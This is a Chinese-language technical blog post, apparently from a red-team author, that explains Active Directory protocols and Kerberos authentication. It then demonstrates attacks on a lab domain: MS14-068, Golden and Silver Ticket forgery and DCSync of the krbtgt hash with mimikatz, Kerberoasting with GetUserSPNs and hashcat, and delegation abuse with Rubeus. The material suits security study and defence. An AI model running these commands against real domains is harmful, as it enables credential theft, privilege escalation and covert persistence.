Kerberos Security
2019-07-01 16:18:59 Author: mp.weixin.qq.com(查看原文) 阅读量:41 收藏

前言

域方面的安全，回归到本质，大多情况下就是Kerberos协议的安全，只有深入掌握Kerberos，才可以站在不同的角度去进行TTP，抓住对方薄弱之处。

About Active Directory

Active Directory:是微软Windows Server中，负责网络游戏架构中大型网络环境的集中式目录管理Service（Directory Services），在Windows 2000 Server开始内置于Windows Server产品中，主要用于域网络中。

  • 在AD里面，一切皆对象，比如：计算机，用户，用户组，相关策略等

  • 有AD域Service，即Active Directory Domain Services

  • 依赖不同的协议进行用户认证，资源查找，管理，访问控制等等

  • 提供各种Service

Active Directory的实体结构

DNS

活动目录极度依赖DNS，因为DNS可以让AD表现出层次结构化的树状结构，同时也可以和开放的目录标准接轨，因此在搭建域时时，DNSService（或另有架设DNS Server）一定要存在于网络或该网域控制站中，不单单是资源查找需要DNS，客户端请求DC时同样需要它，通过SRV记录识别。

LDAP

Lightweight Directory Access Protocol：轻量级目录访问协议，是一个开放的，中立的，工业标准的应用协议，通过IP协议提供访问控制和维护分布式信息的目录信息。

有时我们拿到的server可能就是LDAPService器，里面可能有很多我们目标的信息，下面会详细介绍。

Kerberos

Kerberos是一种计算机网络认证协议，它允许某实体在非安全网络环境下通信，向另一个实体以一种安全的方式证明自己的身份。它也指由麻省理工实现此协议，并发布的一套免费软件。它的设计主要针对客户-Service器模型，并提供了一系列交互认证——用户和Service器都能验证对方的身份。Kerberos协议可以保护网络实体免受窃听和重复攻击。

Kerberos协议基于对称密码学，并需要一个值得信赖的第三方。Kerberos协议的扩展可以为认证的某些阶段提供公钥密码学支持。

NetBIOS

Network Basic Input/Output System，它提供了OSI模型中的会话层Service，让在不同计算机上运行的不同程序，可以在局域网中，互相连线，以及分享数据，相当于一个API

MS-RPC

Microsoft RPC：远程调用，可以更加快速的构造出客户端/Service端模型，像Windows Server的域协议完全是基于MS-RPC，以及DNS管理工具和Microsoft Exchange Server。

NTLM认证

NTLM是NT LAN Manager的缩写，即NT LAN管理器,NTLM 是 Windows NT 早期版本的标准安全协议。

AD协议的应用

DNS

• dig

dig evilwing.me


• nslookup

nslookup evilwing.me

MS-RPC

  • Samba
    Samba，是种用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS（Server Message Block/Common Internet File System）网络协议做链接的自由软件。

  • 强大的Impacket网络工具包

    • smbserver.py
      #### LDAP

  • openLDAP 
    OpenLDAP 是 LDAP 协议的一个开源实现。LDAP Service器本质上是一个为只读访问而优化的非关系型数据库。它主要用做地址簿查询（如 email 客户端）或对各种Service访问做后台认证以及用户数据权限管控。（例如，访问 Samba 时，LDAP 可以起到域控制器的作用；或者 Linux 系统认证时代替/etc/passwd的作用。）

  • ldapsearch

Kerberos

  • Kerberos由麻省理工学院创建，作为解决这些网络安全问题的解决方案。

通过DNS去发现AD

腾讯云文档相关介绍

        SRV记录

SRV记录是Service器资源记录的缩写，记录Service器提供的Service，SRV记录的作用是说明一个Service器能够提供什么样的Service。

  • _gc._tcp – 全局目录

  • _ldap._tcp – ldap Service器

  • _kerberos._tcp – KDC

  • _kpasswd._tcp – Kerberos 密码变更Service

nmap查询：

 nmap -Pn --script dns-srv-enum --script-args "dns-srv-enum.domain='pentestlab.com'"


tips：加一个DNS，为DC的IP，这样就可以在MAC本机上查询出来。

端口扫描：
发现53端口和389端口同时开启就有可能是DC。

定位域控的话，其他熟悉的方法有：

  • net time /domain

  • nslookup

  • nltest /dclist:domainname

  • and so on

MS-RPC

MSRPC通信过程

net user /domain

wireshark抓包分析

首先向DC请求SMB连接，然后请求$IPC共享

建立SMBR文件，bind SAMR。

最后执行用户列表请求

基于MS-RPC实现的Tools

个人觉得Kali下面，啊D最好用，不对，Impacket最好用。

  • https://github.com/CoreSecurity /impacket

工具方面我就不过多介绍，大家都知道怎么用，它是一把windows网络中瑞士军刀。

提权以后，下一步可能就会进行横向渗透

  • DCOM

  • Psexec 

  • WMIC 

  • Wmiexec 

  • Smbexec 

  • Powershell remoting 

  • AT
    以上手法都是基于MS-RPC协议。

LDAP

  • LDAP是AD中的轻量级的目录访问控制协议

  • DC中一般会开放三个端口

    • 389-LDAP

    • 636-LDAPS

    • LDAP全局目录

LDAP 数据的组织方式：

  • CN：Common name

  • DC：域的组成

  • OU：组织单元
    例如 

通过ldap和我们在目标上收集的凭据我们可以进行ldap查询。
这里推荐使用ldapsearch。
使用方法：https://blog.51cto.com/koala003/1663662
查询所有的用户

ldapsearch -LLL -x -H ldap://pentestlab.com -D "[email protected]" -w "小Wing最棒"   -b dc=pentestlab,dc=com "(objectClass=user)" sAMAccountName userPrincipalName memberOf | tee domain_users.lst


域内的计算机

 ldapsearch -LLL -x -H ldap://pentestlab.com -D "[email protected]" -w "小Wing最棒"   -b dc=pentestlab,dc=com "(objectClass=computer)"

想要可视化？

Ldap Admin Tool










连接的对象可以像我们前面使用ldapsearh那样进行过滤。


Windows下有ldapadministrator

LDAP的信息枚举可以作为横向渗透前的一个重要步骤。

Kerberos

Kerberos认证过程

记得上学期期末考试考到过这个，当时刚好看了倾旋老哥的文章，所以还是挂了。


Kerberos除了代表是网络授权协议之外，也代表麻省理工学院为这个协议开发的一套计算机软件。

Kerberos在古希腊神话中被叫做赛伯拉斯，是负责看守冥界入口的恶犬，即地狱犬，在现代的艺术品中，将它描绘成三个头的🐶。
所以可以形象的表示客户端，KDC，Service端。
前置知识：

  • AS（Authentication Server）= 认证Service器

  • KDC（Key Distribution Center）= 密钥分发中心

  • TGT（Ticket Granting Ticket）= 票据授权票据，票据的票据

  • TGS（Ticket Granting Server）= 票据授权Service器

  • SS（Service Server）= 特定Service提供端
    在域内，小Wing想要去访问另一台计算机小花，它需要经历：

  • 需要先拿到入场券，所以向KDC请求TGT，KDC的AS会根据由你的用户名密码生成的一个加密密钥产生一个随机值，这个密钥就是入场券。

  • 然后我把我的TGT给TGS，跟他说，给我一个可以访问Service的Ticket，TGS验证后，证明我没骗他，随即返回Service Ticket。

  • 拿到的Service Ticket一般是有有效期的，过期后又要重新申请

  • 然后拿着这个去访问Service，这里的Service有权限大小之分。

  • 成功和小花建立连接

辛苦画的一张简陋版的图


然后我发现喵的维基百科有一张比我的好看的


我想在后面通过回顾古老的一个洞来较详细的介绍kerberos

然后看一下流量包，更直观一些。

dir  \\Pentestlabwin7.pentestlab.com\C$

wireshark
过程如图






klist查看我们暂时拿到的缓存凭据


这是windows下的kerberos，其实linux下也同样支持。

apt-get install heimdal-clients

先安装客户端


配置KDC，以及SRV

/etc/krb5.conf





配置DNS


然后先请求TGT
这里建议配两个网卡，保证域的通信没问题。

kinit wing



klist



ubuntu的官方文档有指明没定义的情况下会将TGT换存在tmp目录




现在有了缓存，可以借助这个去做很多事情。

impacket：
在知道密码或hash的情况下可以使用smbclient.py去连接，今天看到n1nty师傅的文章将就尝试了一下。


想要使用kali本身的工具，需要将票据导入

export KRB5CCNAME=/tmp/krb5_xxx



一开始用kinit生成TGT好像有问题。
所以我最终使用getTGT来实现，最后导入。
通过rrclient这个远程rpc工具实现连接。


类似的还有smbclient


psexec.py：使用RemComSvc的PSEXEC类似功能



7KB师傅说你得弹个计算器，我觉得还是弹powershell比较直接。



再配合自动化的CNA脚本横向渗透。

impacket-wmiexec.py


像crackmapexec这样的工具，是基于hash认证的，但是在NTLM认证被关闭的条件下，可以尝试通过上述的Kerberos方法去执行CMD。
因为我们有目标密码，所以可以请求TGT，但是密码改了怎么办，怎么持久化？
后面的部分会继续讲解。

经典回顾-MS14-068

漏洞概述

回到一开始的Kerberos
SServer-Client：数据在Client和Server之间传送时，数据包肯定得加密，加密的key有一个先决条件就是时间要短，防止被截获破解，只能在Client和Server只中的一个中有效，将其称之为SessionKey（SServer-Client）。
Master Key：虽然DC很🐂🍺，但是用户的密码还是希望只有用户自己知道，所以认证过程中用户的密码要经过hash加密，加密后的code称之为Master Key。
SKDC-Client：KDC和Client的Session Key（SKDC-Client）

KDC是作为神父级别的见证人，小Wing想要去访问小花的Server，需要向KDC申请一个SessionKey，但是SessionKey是经过小Wing和小花的密码分别加密，不容易被盗取。

  • Wing这边发出的是KRB_AS_REQ请求，提供的是经过Wing的密码加密的一个TimeStamp，应该叫做Authenticator ，理解为一个时间戳加用户的一些信息以及TGS的servername，这个请求里密码和密钥都不会发给AS。

  • KDC的AS用数据库查找Wing这个用户是否在我的数据库里面。在，那么用用户密码的副本去解密，成功之后，AS返回一个Authentication Service Response，即KRB_AS_REP，其中包含了：

    • Session Key

    • Client name & realm: Domain name\Client

    • End time: TGT到期的时间，一般是8小时

  • Wing这里收到响应后，用自己的Master Key对第一部分进行解密，获得SessionKey

  • 下一步就是和TGS打交道了

  • Wing向TGS（Ticket Granting Service）发送一个Ticket Granting Service Request（KRB_TGS_REQ），包含：

    • TGT：TGT被KDC的Master Key进行加密。

    • Authenticator：为了证明TGT的拥有者是否就是自己，它用TGT的办法方和自己的Session Key来进行加密，看是否吻合，TGS本身没有去保存SessionKey，所以就用自己的MaterKey去解密，从而获得Logon Session Key（SKDC-Client），再通过这个Logon Session Key（SKDC-Client）解密Authenticator进行验证。

    • Client name & realm

    • Server name & realm：就是小花

  • REQ OK之后，向Wing返回Ticket Granting Service Response（KRB_TGS_REP），包含：

    • Session Key：SServer-Client。

    • Client name & realm:

    • End time: Ticket的到期时间。

  • Wing收到KRB_TGS_REP，使用KDC和Client的Session Key（SKDC-Client）去解密第一部分得到SessionKey，因为Session只能在单点使用哦。

  • 有了SessionKey和Ticket，我们就可以直接去勾搭小花，呸，约小花。

那么Wing和小花之间的认证又是如何呢？

  • Wing用Session Key（SServer-Client）加密过的Authenticator和Ticket作为Application Service Request（KRB_AP_REQ）发送给小花。

  • 小花接收到KRB_AP_REQ之后，通过自己的Master Key解密Ticket，从而获得Session Key（SServer-Client）。再通过Session Key（SServer-Client）去解密Authenticator，验证对方的身份。假设验证成功，就让Wing进屋，否则直接拒之门外。

  • 所以没有小车车（hash）和小房子（hash），小姐姐是会拒绝的。

故事的后续：
就算你有小车车，我怎么知道你是不是我认识的那个Wing呢。
这么说有点懵13.
A去访问B的时候，验证完成了，我知道你是A，但是你就能访问我的全部资源了嘛？
而且Kerberos协议也没有讲这个问题，所以微软爸爸加了PAC机制，即Privilege
Attribute Certificate，特权属性证书。


具体来说就是要确定域内用户的权限，这里解决的方法就是根据user的SID和group的SID来判断。
KDC可以告诉B，A的权限是有限制的，只可以访问某些资源，通过KRB_AS_REP来指明，里面有加上PAC的说明。

MS14-068这个洞原理比较长，长话短说：

  • 主要是由于第一步的AS-REQ请求并没有对签名做指定要求，客户端用啥我用啥。

  • KRB_TGS_REQ返回的信息当中又没有PAC，所以客户端当然可以伪造出PAC

  • 然后神奇的KDC竟然允许这个PAC，而且使用指定的算法进行解密。

  • TGS返回带有PAC的Ticket返回客户端这里，此时这张票据是具有高权限的。

  • 更多细节可以通过抓包和源码去分析

漏洞复现




linux下：

mv [email protected] /tmp/krb5cc_0

配合smbclient执行命令

windows下：

mimikatz.exe "kerberos::purge"
mimikatz.exe "kerberos::ptc [email protected] " exit




Golden Ticket

Golden Ticket就是黄金票据，其实就是一个攻击者自己伪造的TGT，通过TGS对自己的Golden Ticket的信任，攻击者就可以去访问Service， I Am Omnipotent！
需要的条件：

  • Domain SID

  • Domain name

  • 需要krbtgt用户的hash

  • 用户名随意

Example

通过Mimikatz dump hash

lsadump::dcsync  /user:krbtgt



生成Golden Ticket


导入内存：



黄金票据可以很好的隐藏自己，是一种持久化的方式。
n1nty的公众号昨天发了一篇文章，就是有关于黄金票据的。
title：内网安全运营：你真的锁定了你的帐号了吗？
为什么我将他锁定了他还能进行其他动作？

  • Kerberos的认证过程前面也说清楚了，只认Ticket，而我们可以根据自己的密码去得到一张Server Ticket。

  • 管理员也无法注销Ticket，只能让他过期，默认是20分钟。

  • 对于TGT，20分钟后账户如果被锁定，KDC就不会给你Ticket

  • 对于ST，我已经不需要KDC了，只需要拿着这个ST去访问Service即可。

  • ST会在10小时过期

  • 所以在安全排查的时候需要注意是不是已经被持久控住了。

Silver Tickets

Silver Tickets是银票，在介绍Golden Ticket时，末尾的彩蛋就是一个Silver Tickets----伪造的ST。银票只能访问指定Service，我不觉得这是一个缺点，反而觉得是一个优点，正如前文，根本不好排查，我没和KDC通信，日志那里查不到。
银票的生成也很简单，不需要krbtgt的密码，但需要目标Service账户的hash。

mimikatz "kerberos::golden /domain:pentestlab.com /sid:xx-xxx-xxx-xx /target:servername  /Service:Service类型 /rc4:hash /user:wing /ptt" exit

Crack

SPN

SPN全称是ServicePrincipal Names，Service主体名称。
在域里面我们希望域内的Service经过kerberos验证。


spn让每一个Service与对应的Service账号相关联起来。
其次就是SPN扫描比较隐蔽，不用去连接每一个IP的端口来判断Service，而是通过ldap进行查询，这本身就是一个正常的操作，日志里面去分析比较头疼。
需要先手动注册


SPN扫描

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1



阅读源码


如前所说，通过LDAP进行查询。

Crack TGS Tickets

SPN扫描完成以后，请求TGT


查看本地的TGT


导出使用tgsrepcrack离线破解




也可以用

GetUserSPNs.py -request -outputfile hash.txt -dc-ip 10.10.0.2 Pentestlab.com/wing

得到hash，使用hashcat破解。




Kerberos委派攻击

What is Delegation？


正常情况下我想要去访问IISService，与此同时，可能还需要IISService去请求数据库Service，查询相关信息，但是IISService这里它不清楚Wing这个用户有没有权限去访问SqlServer，这时候就需要向DC去验证。

Wing先去访问IIS server，IISserver去跟KDC申请Ticket，KDC这时候检查IIS Server是否有委派属性，如果存在，那么就返回给Wing这个用户的TGT，IIS Server收到后，跟TGS
申请ST，IIS Server就可以拿ST去访问对应的Service。

非约束委派（Unconstraineddelegation）

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a


图比较直观，用户从KDC拿到对应的TGT之后，发送给Service1，请求了两次TGT，Service1请求了一次ST，也就是1-6步。
然后Service1用用户的TGT2去请求ST2，也就是对应的Service2的ST,。
Service1可以一直重复的去访问其他Service。
这个过程称为 非约束委派，Unconstraineddelegation。

非约束委派安全测试



通过PowerView查询域中配置非约束委派的主机和用户：

Get-NetComputer -Unconstrained
Get-NetUser -Unconstrained





然后在MSSQL这台机器上去导出通信时产生的TGT，会存在内存里。

privilege::debug
sekurlsa::tickets /export




这个就是域控的TGT。
直接进行ptt攻击



GetDC


约束委派（Constrained delegation）

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a


微软为了增强安全性，防止不安全的委派发生，限制Service1代表Wing去访问Service。
并且加入了S4U2Self和S4U2Proxy协议扩展。

  • S4U2Self：Service for User to Self

  • S4U2Proxy：Service forUser to Proxy
    

  1. 用户向Service1发出一个请求，用户已经经过了身份验证但Service1拿不到用户的TGT。

  2. 文档说的是在这个步骤之前，Service1就向KDC申请到了拿到了TGT，并通过 S4U2self 扩展请求ST。

  3. KDC返回ST，这一步Service1就代表用户拿到TGS和ST，虽然S4U2self向Service1提供有关用户的信息，但此扩展不允许Service1代表用户请求其他Service。这就是S4U2proxy的作用。

  4. 响应给用户

  5. 用户再次请求，用户向Service1发出请求。Service1需要以用户身份访问Service2上的资源。但是，Service1没有来自用户的转发TGT以通过转发的TGT执行委派，如图中所述，需要指定具有转发的TGT的Kerberos委派。具有这两个前提条件，才可以进行此步骤。首先，Service1已经通过KDC验证并具有有效的TGT。其次，Service1具有从用户到Service1的可转发ST。该可转发ST可能是通过KRB_AP_REQ消息获得的，如[RFC4120]第3.2节或S4U2self请求中规定的。

  6. Service1代表指定用户向Service2请求Service票证。用户由Service1的Service票证中的客户端名称和客户端域专属标识。要返回的票证中的授权数据也将从Service票证中复制。

  7. 如果请求中有特权属性证书（PAC），则KDC通过检查PAC结构的签名数据来验证PAC，参阅[MS-PAC]第2.8节。如果PAC有效或不存在，KDC将返回Service2的ST，但存储在ST的cname和crealm字段中的客户端专属标识是用户的，而不是Service1的。

  8. Service1使用ST向Service2发出请求。Service2将此请求视为来自用户，并假定用户已经由KDC进行身份验证。

  9. Service2响应请求。

  10. Service1响应用户对消息5的请求。

简单来说呢：

  • S4U2proxy扩展的作用是不允许Service1代表用户请求其他Service

  • S4U2Self扩展的作用是检查用户的合法性

约束委派安全测试



用PowerView查询域内开启约束委派的用户

Get-DomainUser –TrustedToAuth





  • 使用Rebeus拿到TGT：Rebeus是kekeo的后续版本，羡慕一次编译通过的师傅。


Rubeus.exe asktgt /user:mssql /password:Pentestlab@1314

或者直接一步请求

C:\Users\flowing\Desktop\Wing>Rubeus.exe s4u   /impersonateuser:redteam /user:
F046 /domain:pentestlab.com /msdsspn:cifs/mssql.pentestlab.com /ptt

ptt的意思是直接导入内存，不需要管理员权限。




C:\Users\flowing\Desktop\Wing\>Rubeus.exe s4u /user:wing /rc4:xxxxxxxx /impersonateuser:administrator/msdsspn:cifs/mssql.pentestlab.com /altservice:cifs /ptt
    ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
   v1.4.2
 [*] Action: Ask TGT
 ...
...
... 
[*] Action: Import Ticket
[+] Ticket successfully imported!

这里的伪造的用户名必须是域内已经有的，比如adminstrator。
所以这里本机的这个用户是伪造成其他用户去从获取TGS。

验证：




实际场景当中，可以结合ntlmrelay去进行。😉😉😉

其他像哈希传递的技术使用cobaltstrike批量即可。

结语

关于Kerberos的技术，还有很多有趣的技巧，建议关注域安全专家harmj0y。

参考来源

https://xz.aliyun.com/t/2931#toc-2
https://www.anquanke.com/post/id/92484#h2-0
https://mp.weixin.qq.com/s?timestamp=1554396291&src=3&ver=1&signature=QJM6fShq296Yt2GmGNTdSeU*kJNrPEmgb0ce9ap3vCD9NC4W-GL2Fx3IxdiC689-CvAADbGrbL1f7deYwEDLQKxvi8WFUhA7OsPAI52IFV7yi*ld*WABk2U*shXEbZu4nJd-MpmuV9GrheIf9WHdKtrPYZm1VJ5iWy6aAyom*Yc=
https://github.com/nidem/kerberoast
https://www.petri.com/understanding-kerberos-delegation-in-windows-server-active-directory
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962
https://blog.csdn.net/wulantian/article/details/42418231
https://github.com/nidem/kerberoast
https://segmentfault.com/a/1190000014683418
https://www.extrahop.com/resources/protocols/msrpc/
https://docs.microsoft.com/en-us/windows/desktop/com/microsoft-rpc
https://docs.microsoft.com/en-us/windows/desktop/rpc/how-rpc-works
https://www.cnblogs.com/cnjavahome/p/9029665.htmllanguage```language
https://medium.com/@robert.broeckelmann/kerberos-wireshark-captures-a-windows-login-example-151fabf3375a
https://help.ubuntu.com/lts/serverguide/kerberos.html.en
https://imaidata.github.io/blog/kerberos_client/
https://www.chbeta.com/2018/06/17/212.html

文章来源: https://mp.weixin.qq.com/s/81pebICjGDkP_sxHFEumJw
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